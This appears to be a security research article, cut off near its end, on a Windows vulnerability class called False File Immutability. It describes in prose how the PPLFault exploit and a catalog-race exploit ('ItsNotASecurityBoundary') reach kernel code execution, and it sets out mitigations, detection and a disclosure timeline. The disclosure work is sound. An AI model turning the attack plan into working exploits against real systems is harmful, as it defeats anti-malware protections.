<p>In the kernel, sharing is enforced by filesystem drivers. As a file is opened, it’s the responsibility of the filesystem driver to call <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocheckshareaccess"><strong>IoCheckShareAccess</strong></a> or <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iochecklinkshareaccess"><strong>IoCheckLinkShareAccess</strong></a> to see whether the requested <strong>DesiredAccess</strong>/<strong>ShareMode</strong> tuple is compatible with any existing handles to the file being opened. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the primary filesystem on Windows, but it’s closed-source, so for illustrative purposes we’ll instead look at Microsoft’s FastFAT sample code performing <a href="https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6822-L6884">the same check</a>. Unlike an IDA decompilation, it even comes with comments!</p>
<pre><code class="language-c++">//
//  Check if the Fcb has the proper share access.
//

return IoCheckShareAccess( *DesiredAccess,
                           ShareAccess,
                           FileObject,
                           &amp;FcbOrDcb-&gt;ShareAccess,
                           FALSE );
</code></pre>
<p>In addition to traditional read/write file operations, Windows lets applications map files into memory. Before we go deeper, it’s important to understand that <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views">section objects</a> are kernel parlance for <a href="https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping">file mappings</a>; they are the same thing. This article focuses on the kernel, so it will primarily refer to them as section objects.</p>
<p>There are two types of section objects - data sections and executable image sections. Data sections are direct 1:1 mappings of files into memory. The file’s contents will appear in memory exactly as they do on disk. Data sections also have uniform memory permissions for the entire memory range. With respect to the underlying file, data sections can be either read-only or read-write. A read-write view of a file enables a process to read or write the file’s contents by reading/writing memory within its own address space.</p>
<p>Executable image sections (sometimes abbreviated to image sections) prepare <a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format">PE files</a> to be executed. Image sections must be created from PE files. Examples of PE files include EXE, DLL, SYS, CPL, SCR, and OCX files. The kernel processes the PEs specially to prepare them to be executed. Different PE regions will be mapped in memory with different page permissions, depending on their metadata. Image views are <a href="https://en.wikipedia.org/wiki/Copy-on-write">copy-on-write</a>, meaning any changes in memory will be saved to the process’s private working set — never written to the backing PE.</p>
<p>Let’s say application A wants to map a file into memory with a data section. First, it opens that file with an API such as <strong>ZwCreateFile</strong>, which returns a file handle. Next, it passes this file handle to an API such as <strong>ZwCreateSection</strong> which creates a section object that describes how the file will be mapped into memory; this yields a section handle. The process then uses the section handle to map a “view” of that section into the process address space, completing the memory mapping.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image9.png" alt="Diagram showing how a file is mapped into memory" /></p>
<p>Once the file is successfully mapped, process A can close both the file and section handles, leaving zero open handles to the file. If process B later wants to use the file without the risk of it being modified externally, it would omit <strong>FILE_SHARE_WRITE</strong> when opening the file. <strong>IoCheckLinkShareAccess</strong> looks for open file handles, but since the handles were previously closed, it will not fail the operation.</p>
<p>This creates a problem for file sharing. Process B thinks it has a file open without risk of external modification, but process A can modify it through the memory mapping. To account for this, the filesystem must also call <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences"><strong>MmDoesFileHaveUserWritableReferences</strong></a>. This checks whether there are any active writable file mappings to the given file. We can see this check in the FastFAT example <a href="https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6858-L6870">here</a>:</p>
<pre><code class="language-c++">//
//  Do an extra test for writeable user sections if the user did not allow
//  write sharing - this is neccessary since a section may exist with no handles
//  open to the file its based against.
//

if ((NodeType( FcbOrDcb ) == FAT_NTC_FCB) &amp;&amp;
    !FlagOn( ShareAccess, FILE_SHARE_WRITE ) &amp;&amp;
    FlagOn( *DesiredAccess, FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | DELETE | MAXIMUM_ALLOWED ) &amp;&amp;
    MmDoesFileHaveUserWritableReferences( &amp;FcbOrDcb-&gt;NonPaged-&gt;SectionObjectPointers )) {

    return STATUS_SHARING_VIOLATION;
}
</code></pre>
<p>Windows requires PE files to be immutable (unmodifiable) while they are running. This prevents EXEs and DLLs from being changed on disk while they are running in memory. Filesystem drivers must use the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmflushimagesection"><strong>MmFlushImageSection</strong></a> function to check whether there are any active image mappings of a PE before allowing <strong>FILE_WRITE_DATA</strong> access. We can see this in the <a href="https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593">FastFAT example code</a>, and on <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images">Microsoft Learn</a>.</p>
<pre><code class="language-c++">//
//  If the user wants write access access to the file make sure there
//  is not a process mapping this file as an image. Any attempt to
//  delete the file will be stopped in fileinfo.c
//
//  If the user wants to delete on close, we must check at this
//  point though.
//

if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {

    Fcb-&gt;OpenCount += 1;
    DecrementFcbOpenCount = TRUE;

    if (!MmFlushImageSection( &amp;Fcb-&gt;NonPaged-&gt;SectionObjectPointers,
                              MmFlushForWrite )) {

        Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
                                      STATUS_SHARING_VIOLATION;
        try_return( Iosb );
    }
}
</code></pre>
<p>Another way to think of this check is that <strong>ZwMapViewOfSection(SEC_IMAGE)</strong> implies no-write-sharing as long as the view exists.</p>
<h2>Authenticode</h2>
<p>The <a href="https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx">Windows Authenticode Specification</a> describes a way to employ cryptography to “sign” PE files. A “digital signature” cryptographically attests that the PE was produced by a particular entity. Digital signatures are tamper-evident, meaning that any material modification of signed files should be detectable because the digital signature will no longer match. Digital signatures are typically appended to the end of PE files.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image19.png" alt="Authenticode specification diagram showing a signature embedded within a PE" /></p>
<p>Authenticode can’t apply traditional hashing (e.g. <strong>sha256sum</strong>) in this case, because the act of appending the signature would change the file’s hash, breaking the signature it just generated. Instead, the Authenticode specification describes an algorithm to skip specific portions of the PE file that will be changed during the signing process. This algorithm is called <strong>authentihash</strong>. You can use authentihash with any hashing algorithm, such as SHA256. When a PE file is digitally signed, the file’s authentihash is what’s actually signed.</p>
<h3>Code integrity</h3>
<p>Windows has a few different ways to validate Authenticode signatures. User mode applications can call <a href="https://learn.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust"><strong>WinVerifyTrust</strong></a> to validate a file’s signature in user mode. The Code Integrity (CI) subsystem, residing in <code>ci.dll</code>,  validates signatures in the kernel. If <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">Hypervisor-Protected Code Integrity</a> is running, the Secure Kernel employs <code>skci.dll</code> to validate Authenticode. This article will focus on Code Integrity (<code>ci.dll</code>) in the regular kernel.</p>
<p>Code Integrity provides both Kernel Mode Code Integrity and User Mode Code Integrity, each serving a different set of functions.</p>
<p>Kernel Mode Code Integrity (KMCI):</p>
<ul>
<li>Enforces <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing">Driver Signing Enforcement</a> and the <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist">Vulnerable Driver Blocklist</a></li>
</ul>
<p>User Mode Code Integrity (UMCI):</p>
<ul>
<li>CI validates the signatures of EXEs and DLLs before allowing them to load</li>
<li>Enforces <a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#protected-processes">Protected Processes and Protected Process Light</a> signature requirements</li>
<li>Enforces <strong>ProcessSignaturePolicy</strong> mitigation (<a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy"><strong>SetProcessMitigationPolicy</strong></a>)</li>
<li>Enforces <a href="https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170">INTEGRITYCHECK</a> for <a href="https://x.com/GabrielLandau/status/1668353640833114131">FIPS 140-2 modules</a>.</li>
<li>Exposed to consumers as <a href="https://learn.microsoft.com/en-us/windows/apps/develop/smart-app-control/overview">Smart App Control</a></li>
<li>Exposed to businesses as <a href="https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-app-control-policy">App Control for Business</a> (formerly WDAC)</li>
</ul>
<p>KMCI and UMCI implement different policies for different scenarios. For example, the policy for Protected Processes is different from that of INTEGRITYCHECK.</p>
<h2>Incorrect assumptions</h2>
<p>Microsoft <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">documentation</a> implies that files successfully opened without write sharing can’t be modified by another user or process.</p>
<pre><code>FILE_SHARE_WRITE
0x00000002
Enables subsequent open operations on a file or device to request write access. Otherwise, other processes cannot open the file or device if they request write access.
</code></pre>
<p>If this flag is not specified, but the file or device has been opened for write access or has a file mapping with write access, the function fails.</p>
<p><em>Above, we discussed how sharing is enforced by the filesystem, but what if the filesystem doesn’t know that the file’s been modified?</em></p>
<p>Like most user mode memory, the Memory Manager (MM) in the kernel may page-out portions of file mappings when it deems necessary, such as when the system needs more free physical memory. Both data and executable image mappings may be paged-out. Executable image sections can never modify the backing file, so they’re effectively treated as read-only with respect to the backing PE file. As mentioned before, image sections are copy-on-write, meaning any in-memory changes immediately create a private copy of the given page.</p>
<p>When the memory manager needs to page-out a page from an image section, it can use the following decision tree:</p>
<ul>
<li>Never modified?  Discard it. We can read the contents back from the immutable file on disk.</li>
<li>Modified?  Save private copy it to the pagefile.
<ul>
<li>Example: If a security product hooks a function in <code>ntdll.dll</code>, MM will create a private copy of each modified page. Upon page-out, private pages will be written to the pagefile.</li>
</ul>
</li>
</ul>
<p>If those paged-out pages are later touched, the CPU will issue a page fault and the MM will restore the pages.</p>
<ul>
<li>Page never modified?  Read the original contents back from the immutable file on disk.</li>
<li>Page private?  Read it from the pagefile.</li>
</ul>
<p>Note the following exception: The memory manager may treat PE-relocated pages as unmodified, dynamically reapplying relocations during page faults.</p>
<h3>Page hashes</h3>
<p>Page hashes are a list of hashes of each 4KB page within a PE file. Since pages are 4KB, page faults typically occur on 4KB of data at a time. Full Authenticode verification requires the entire contiguous PE file, which isn’t available during a page fault. Page hashes allow the MM to validate hashes of individual pages during page faults.</p>
<p>There are two types of page hashes, which we’ve coined static and dynamic. Static page hashes are stored within a PE’s digital signature if the developer passes <code>/ph</code> to <a href="https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool"><code>signtool</code></a>. By pre-computing these, they are immediately available to the MM and CI upon module load.</p>
<p>CI can also compute them on-the-fly during signature validation, a mechanism we’re calling dynamic page hashes. Dynamic page hashes give CI flexibility to enforce page hashes even for files that were never signed with them.</p>
<p>Page hashes are not free - they use CPU and slow down page faults. They’re not used in most cases.</p>
<h2>Attacking code integrity</h2>
<p>Imagine a scenario where a ransomware operator wants to ransom a hospital, so they send a phishing email to a hospital employee. The employee opens the email attachment and enables macros, running the ransomware. The ransomware employs a UAC bypass to immediately elevate to admin, then attempts to terminate any security software on the system so it can operate unhindered. Anti-Malware services run as <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">Protected Process Light</a> (PPL), protecting them from tampering by malware with admin rights, so the ransomware can’t terminate the Anti-Malware service.</p>
<p>If the ransomware could also run as a PPL, it could terminate the Anti-Malware product. The ransomware can’t launch itself directly as a PPL because UMCI prevents improperly-signed EXEs and DLLs from loading into PPL, as we discussed above. The ransomware might try to inject code into a PPL by modifying an EXE or DLL that’s already running, but the aforementioned <strong>MmFlushImageSection</strong> ensures in-use PE files remain immutable, so this isn’t possible.</p>
<p>We previously discussed how the filesystem is responsible for sharing checks. <em>What would happen if an attacker were to move the filesystem to another machine?</em></p>
<p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-">Network redirectors</a> allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily open and memory-map files over the network. Any resulting I/O is transparently redirected to the remote machine. If a program is launched from a network drive, the executable images for the EXE and its DLLs will be transparently pulled from the network.</p>
<p>When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running <a href="https://en.wikipedia.org/wiki/Samba_(software)">Samba</a>, or even a python <a href="https://github.com/fortra/impacket/blob/d71f4662eaf12c006c2ea7f5ec09b418d9495806/examples/smbserver.py">impacket script</a> that “speaks” the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB network protocol</a>. This means the server doesn’t have to honor Windows filesystem sharing semantics.</p>
<p>An attacker can employ a network redirector to modify a PPL’s DLL server-side, bypassing sharing restrictions. This means that PEs backing an executable image section are incorrectly assumed to be immutable. This is a class of vulnerability that we are calling <strong>False File Immutability</strong> (FFI).</p>
<h3>Paging exploitation</h3>
<p>If an attacker successfully exploits False File Immutability to inject code into an in-use PE, wouldn’t page hashes catch such an attack?  The answer is: sometimes. If we look at the following table, we can see that page hashes are enforced for kernel drivers and Protected Processes, but not for PPL, so let’s pretend we’re an attacker targeting PPL.</p>
<table>
<thead>
<tr>
<th></th>
<th>Authenticode</th>
<th>Page hashes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kernel drivers</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Protected Processes (PP-Full)</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Protected Process Light (PPL)</td>
<td>✅</td>
<td>❌</td>
</tr>
</tbody>
</table>
<p>Last year at Black Hat Asia 2023 (<a href="https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052">abstract</a>, <a href="http://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf">slides</a>, <a href="https://www.youtube.com/watch?v=5xteW8Tm410">recording</a>), we disclosed a vulnerability in the Windows kernel, showing how bad assumptions in paging can be exploited to inject code into PPL, defeating security features like <a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection">LSA</a> &amp; <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">Anti-Malware Process Protection</a>. The attack leveraged False File Immutability assumptions for DLLs in PPLs, as we just described, though we hadn’t yet named the vulnerability class.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image5.png" alt="A diagram of the PPLFault exploit" /></p>
<p>Alongside the presentation, we released the <a href="https://github.com/gabriellandau/PPLFault">PPLFault exploit</a> which demonstrates the vulnerability by dumping the memory of an otherwise-protected PPL. We also released the GodFault exploit chain, which combines the PPLFault Admin-to-PPL exploit with the AngryOrchard PPL-to-kernel exploit to achieve full read/write control of physical memory from user mode. We did this to motivate Microsoft to take action on a vulnerability that MSRC <a href="https://www.elastic.co/jp/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">declined to fix</a> because it did not meet their <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">servicing criteria</a>. Thankfully, the Windows Defender team at Microsoft stepped up, <a href="https://x.com/GabrielLandau/status/1757818200127946922">releasing a fix</a> in February 2024 that enforces dynamic page hashes for executable images loaded over network redirectors, breaking PPLFault.</p>
<h2>New research</h2>
<p>Above, we discussed Authenticode signatures embedded within PE files. In addition to embedded signatures, Windows supports a form of detached signature called a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/catalog-files">security catalog</a>. Security catalogs (.cat files) are essentially a list of signed authentihashes. Every PE with an authentihash in that list is considered to be signed by that signer. Windows keeps a large collection of catalog files in <code>C:\Windows\System32\CatRoot</code> which CI loads, validates, and caches.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image7.png" alt="Simplified structure of a security catalog" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image21.png" alt="A security catalog rendered through Windows Explorer" /></p>
<p>A typical Windows system has over a thousand catalog files, many containing dozens or hundreds of authentihashes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image16.png" alt="Security catalogs on a Windows 11 23H2 system" /></p>
<p>To use a security catalog, Code Integrity must first load it. This occurs in a few discrete steps. First, CI maps the file into kernel memory using <strong>ZwOpenFile</strong>, <strong>ZwCreateSection</strong>, and <strong>ZwMapViewOfSection</strong>. Once mapped, it validates the catalog’s digital signature using <strong>CI!MinCrypK_VerifySignedDataKModeEx</strong>. If the signature is valid, it parses the hashes with <strong>CI!I_MapFileHashes</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image10.png" alt="The Code Integrity catalog parsing process" /></p>
<p>Breaking this down, we see a few key insights. First, <strong>ZwCreateSection(SEC_COMMIT)</strong> tells us that CI is creating a data section, not an image section. This is important because there is no concept of page hashes for data sections.</p>
<p>Next, the file is opened without <strong>FILE_SHARE_WRITE</strong>, meaning write sharing is denied. This is intended to prevent modification of the security catalog during processing. However, as we have shown above, this is a bad assumption and another example of False File Immutability. It should be possible, in theory, to perform a PPLFault-style attack on security catalog processing.</p>
<h3>Planning the attack</h3>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image11.png" alt="" /></p>
<p>The general flow of the attack is as follows:</p>
<ol>
<li>The attacker will plant a security catalog on a storage device that they control. They will install a symbolic link to this catalog in the <code>CatRoot</code> directory, so Windows knows where to find it.</li>
<li>The attacker asks the kernel to load a malicious unsigned kernel driver.</li>
<li>Code Integrity attempts to validate the driver, but it can’t find a signature or trusted authentihash, so it re-scans the CatRoot directory and finds the attacker’s new catalog.</li>
<li>CI maps the catalog into kernel memory and validates its signature. This generates page faults which are sent to the attacker’s storage device. The storage device returns a legitimate Microsoft-signed catalog.</li>
<li>The attacker empties the system working set, forcing all the previously-fetched catalog pages to be discarded.</li>
<li>CI begins parsing the catalog, generating new page faults. This time, the storage device injects the authentihash of their malicious driver.</li>
<li>CI finds the malicious driver’s authentihash in the catalog and loads the driver. At this point, the attacker has achieved arbitrary code execution in the kernel.</li>
</ol>
<h3>Implementation and considerations</h3>
<p>The plan is to use a PPLFault-style attack, but there are some important differences in this situation. PPLFault used an <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks">opportunistic lock</a> (oplock) to deterministically freeze the victim process’s initialization. This gave the attacker time to switch over to the payload and flush the system working set. Unfortunately, we couldn’t find any good opportunities for oplocks here. Instead, we’re going to pursue a probabilistic approach: rapidly toggling the security catalog between the malicious and benign versions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image12.png" alt="The catalog being toggled between benign and malicious versions; only one hash changes" /></p>
<p>The verification step touches every page of the catalog, which means all of those pages will be resident in memory when parsing begins. If the attacker changes the catalog on their storage device, it won’t be reflected in memory until after a subsequent page fault. To evict these pages from kernel memory, the attacker must empty the working set between <strong>MinCrypK_VerifySignedDataKModeEx</strong> and <strong>I_MapFileHashes</strong>.</p>
<p>This approach is inherently a race condition. There’s no built-in delays between signature verification and catalog parsing - it’s a tight race. We’ll need to employ several techniques to widen our window of opportunity.</p>
<p>Most security catalogs on the system are small, a few kilobytes. By choosing a large 4MB catalog, we can greatly increase the amount of time that CI spends parsing. Assuming catalog parsing is linear, we can choose an authentihash near the end of the catalog to maximize the time between signature verification and when CI reaches our tampered page. Further, we will create threads for each CPU on the system whose sole purpose is to consume CPU cycles. These threads run at higher priority than CI, so CI will be starved of CPU time. There will be one thread dedicated to repeatedly flushing pages from the system’s working set, and one thread repeatedly attempting to load the unsigned driver.</p>
<p>This attack has two main failure modes. First, if the payload Authentihash is read during the signature check, then the signature will be invalid and the catalog will be rejected.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image17.png" alt="Code Integrity rejecting a tampered security catalog" /></p>
<p>Next, if an even number of toggles occur (including zero) between signature validation and parsing, then CI will parse the benign hash and reject our driver.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image6.png" alt="Passing the signature check, but the benign catalog is parsed" /></p>
<p>The attacker wins if CI validates a benign catalog then parses a malicious one.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image20.png" alt="Code Integrity validating a benign catalog, then parsing a malicious one" /></p>
<h3>Exploit demo</h3>
<p>We named the exploit <strong>ItsNotASecurityBoundary</strong> as an homage to MSRC's <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">policy</a> that &quot;Administrator-to-kernel is not a security boundary.”  The code is in GitHub <a href="https://github.com/gabriellandau/ItsNotASecurityBoundary">here</a>.</p>
<p>Demo video <a href="https://drive.google.com/file/d/13Uw38ZrNeYwfoIuD76qlLgyXP8kRc8Nz/view?usp=sharing">here</a>.</p>
<h2>Understanding these vulnerabilities</h2>
<p>In order to properly defend against these vulnerabilities, we first need to understand them better.</p>
<p>A double-read (aka double-fetch) vulnerability can occur when victim code reads the same value out of an attacker-controlled buffer more than once. The attacker may change the value of this buffer between the reads, resulting in unexpected victim behavior.</p>
<p>Imagine there is a page of memory shared between two processes for an IPC mechanism. The client and server send data back and forth using the following struct. To send an IPC request, a client first writes a request struct into the shared memory page, then signals an event to notify the server of a pending request.</p>
<pre><code class="language-c">struct IPC_PACKET
{
    SIZE_T length;
    UCHAR data[];
};
</code></pre>
<p>A double-read attack could look something like this:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image18.png" alt="An example of a double-read exploit using shared memory" /></p>
<p>First, the attacking client sets a packet’s structure’s length field to 16 bytes, then signals the server to indicate that a packet is ready for processing.  The victim server wakes up and allocates a 16-byte buffer using <code>malloc(pPacket-&gt;length)</code>.  Immediately afterwards, the attacker changes the length field to 32.  Next, the victim server attempts to copy the packet’s contents into the the new buffer by calling <code>memcpy(pBuffer, pPacket-&gt;data, pPacket-&gt;length)</code>, re-reading the value in <code>pPacket-&gt;length</code>, which is now 32.  The victim ends up copying 32 bytes into a 16-byte buffer, overflowing it.</p>
<p>Double-read vulnerabilities frequently apply to shared-memory scenarios. They commonly occur in drivers that operate on user-writable buffers. Due to False File Immutability, developers need to be aware that their scope is actually much wider, and includes all files writable by attackers. Denying write sharing does not necessarily prevent file modification.</p>
<h3>Affected Operations</h3>
<p>What types of operations are affected by False File Immutability?</p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>API</th>
<th>Mitigations</th>
</tr>
</thead>
<tbody>
<tr>
<td>Image Sections</td>
<td><strong>CreateProcess</strong> <strong>LoadLibrary</strong></td>
<td>1. Enable Page Hashes</td>
</tr>
<tr>
<td>Data Sections</td>
<td><strong>MapViewOfFile</strong> <strong>ZwMapViewOfSection</strong></td>
<td>1. Avoid double reads\ 2. Copy the file to a heap buffer before processing\ 3. Prevent paging via MmProbeAndLockPages/VirtualLock</td>
</tr>
<tr>
<td>Regular I/O</td>
<td><strong>ReadFile</strong> <strong>ZwReadFile</strong></td>
<td>1. Avoid double reads\  2. Copy the file to a heap buffer before processing</td>
</tr>
</tbody>
</table>
<h3>What else could be vulnerable?</h3>
<p>Looking for potentially-vulnerable calls to <strong>ZwMapViewOfSection</strong> in the NT kernel yields quite a few interesting functions:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image8.png" alt="Potentially-vulnerable uses of ZwMapViewOfSection within the NT kernel" /></p>
<p>If we expand our search to regular file I/O, we find even more candidates. An important caveat, however, is that <strong>ZwReadFile</strong> may be used for more than just files. Only uses on files (or those which could be coerced into operating on files) could be vulnerable.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image14.png" alt="Potentially-vulnerable uses of ZwReadFile within the NT kernel" /></p>
<p>Looking outside of the NT kernel, we can find other drivers to investigate:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image2.png" alt="Potentially-vulnerable uses of ZwReadFile in Windows 11 kernel drivers" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image1.png" alt="Potentially-vulnerable uses of ZwMapViewOfSection in Windows 11 kernel drivers" /></p>
<h3>Don’t forget about user mode</h3>
<p>We’ve mostly been discussing the kernel up to this point, but it’s important to note that any user mode application that calls <strong>ReadFile</strong>, <strong>MapViewOfFile</strong>, or <strong>LoadLibrary</strong> on an attacker-controllable file, denying write sharing for immutability, may be vulnerable. Here’s a few hypothetical examples.</p>
<h4>MapViewOfFile</h4>
<p>Imagine an application that is split into two components - a low-privileged worker process with network access, and a privileged service that installs updates. The worker downloads updates and stages them to a specific folder. When the privileged service sees a new update staged, it first validates the signature before installing the update. An attacker could abuse FFI to modify the update after the signature check.</p>
<h4>ReadFile</h4>
<p>Since files are subject to double-read vulnerabilities, anything that parses complex file formats may be vulnerable, including antivirus engines and search indexers.</p>
<h4>LoadLibrary</h4>
<p>Some applications rely on UMCI to prevent attackers from loading malicious DLLs into their processes. As we’ve shown with PPLFault, FFI can defeat UMCI.</p>
<h2>Stopping the exploit</h2>
<p>Per their official servicing guidelines, MSRC won’t service Admin -&gt; Kernel vulnerabilities by default. In this parlance, servicing means “fix via security update.”  This type of vulnerability, however, allows malware to bypass <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">AV Process Protections</a>, leaving AV and EDR vulnerable to instant-kill attacks.</p>
<p>As a third-party, we can’t patch Code Integrity, so what can we do to protect our customers? To mitigate <strong>ItsNotASecurityBoundary</strong>, we created <strong>FineButWeCanStillEasilyStopIt</strong>, a filesystem minifilter driver that prevents Code Integrity from opening security catalogs over network redirectors. You can find it on GitHub <a href="https://github.com/gabriellandau/ItsNotASecurityBoundary/tree/main/FineButWeCanStillEasilyStopIt">here</a>.</p>
<p>FineButWeCanStillEasilyStopIt has to jump through some hoops to correctly identify the problematic behavior while minimizing false positives. Ideally, CI itself could be fixed with a few small changes. Let’s look at what that would take.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image13.png" alt="Fixing catalog processing by copying the catalog to the heap" /></p>
<p>As mentioned above in the Affected Operations section, applications can mitigate double-read vulnerabilities by copying the file contents out of the file mapping into the heap, and exclusively using that heap copy for all subsequent operations. The kernel heap is called the <a href="https://learn.microsoft.com/en-us/windows/win32/memory/memory-pools">pool</a>, and the corresponding allocation function is <strong>ExAllocatePool</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image15.png" alt="Fixing catalog processing by locking the pages into RAM" /></p>
<p>An alternative mitigation strategy to break these types of exploits is to pin the pages of the file mapping into physical memory using an API such as <strong>MmProbeAndLockPages</strong>. This prevents eviction of those pages when the attacker empties the working set.</p>
<h3>End-user detection and mitigation</h3>
<p>Fortunately, there is a way for end-users to mitigate this exploit without changes from Microsoft – Hypervisor Protected Code Integrity (HVCI). If HVCI is enabled, CI.dll doesn’t do catalog parsing at all. Instead, it sends the catalog contents to the Secure Kernel, which runs in a separate virtual machine on the same host. The Secure Kernel stores the received catalog contents in its own heap, from which signature validation and parsing are performed. Just like with the <strong>ExAllocatePool</strong> mitigation described above, the exploit is mitigated because file changes have no effect on the heap copy.</p>
<p>The probabilistic nature of this attack means that there are likely many failed attempts. Windows records these failures in the <strong>Microsoft-Windows-CodeIntegrity/Operational</strong> event log. Users can check this log for evidence of exploitation.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image23.png" alt="Microsoft-Windows-CodeIntegrity/Operational event log showing an invalid driver signature" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image4.png" alt="Microsoft-Windows-CodeIntegrity/Operational event log showing an invalid security catalog" /></p>
<h2>Disclosure</h2>
<p>The disclosure timeline is as follows:</p>
<ul>
<li>2024-02-14: We reported ItsNotASecurityBoundary and FineButWeCanStillEasilyStopIt to MSRC as VULN-119340, suggesting <strong>ExAllocatePool</strong> and <strong>MmProbeAndLockPages</strong> as simple low-risk fixes</li>
<li>2024-02-29: The Windows Defender team reached out to coordinate disclosure</li>
<li>2024-04-23: Microsoft releases <a href="https://support.microsoft.com/en-us/topic/april-23-2024-kb5036980-os-builds-22621-3527-and-22631-3527-preview-5a0d6c49-e42e-4eb4-8541-33a7139281ed">KB5036980</a> Preview with the <strong>MmProbeAndLockPages</strong> fix</li>
<li>2024-05-14: Fix reaches GA for Windows 11 23H2 as <a href="https://support.microsoft.com/en-us/topic/may-14-2024-kb5037771-os-builds-22621-3593-and-22631-3593-e633ff2f-a021-4abb-bd2e-7f3687f166fe">KB5037771</a>; we have not tested any other platforms (Win10, Server, etc).</li>
<li>2024-06-14: MSRC closed the case, stating &quot;We have completed our investigation and determined that the case doesn't meet our bar for servicing at this time. As a result, we have opened a next-version candidate bug for the issue, and it will be evaluated for upcoming releases. Thanks, again, for sharing this report with us.&quot;</li>
</ul>
<h2>Fixing Code Integrity</h2>
<p>Looking at the original implementation of <strong>CI!I_MapAndSizeDataFile</strong>, we can see the legacy code calling <strong>ZwCreateSection</strong> and <strong>ZwMapViewOfSection</strong>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image22.png" alt="The vulnerable CI!I_MapAndSizeDataFile implementation" /></p>
<p>Contrast that with the new <strong>CI!CipMapAndSizeDataFileWithMDL</strong>, which follows that up with <strong>MmProbeAndLockPages</strong>:</p>
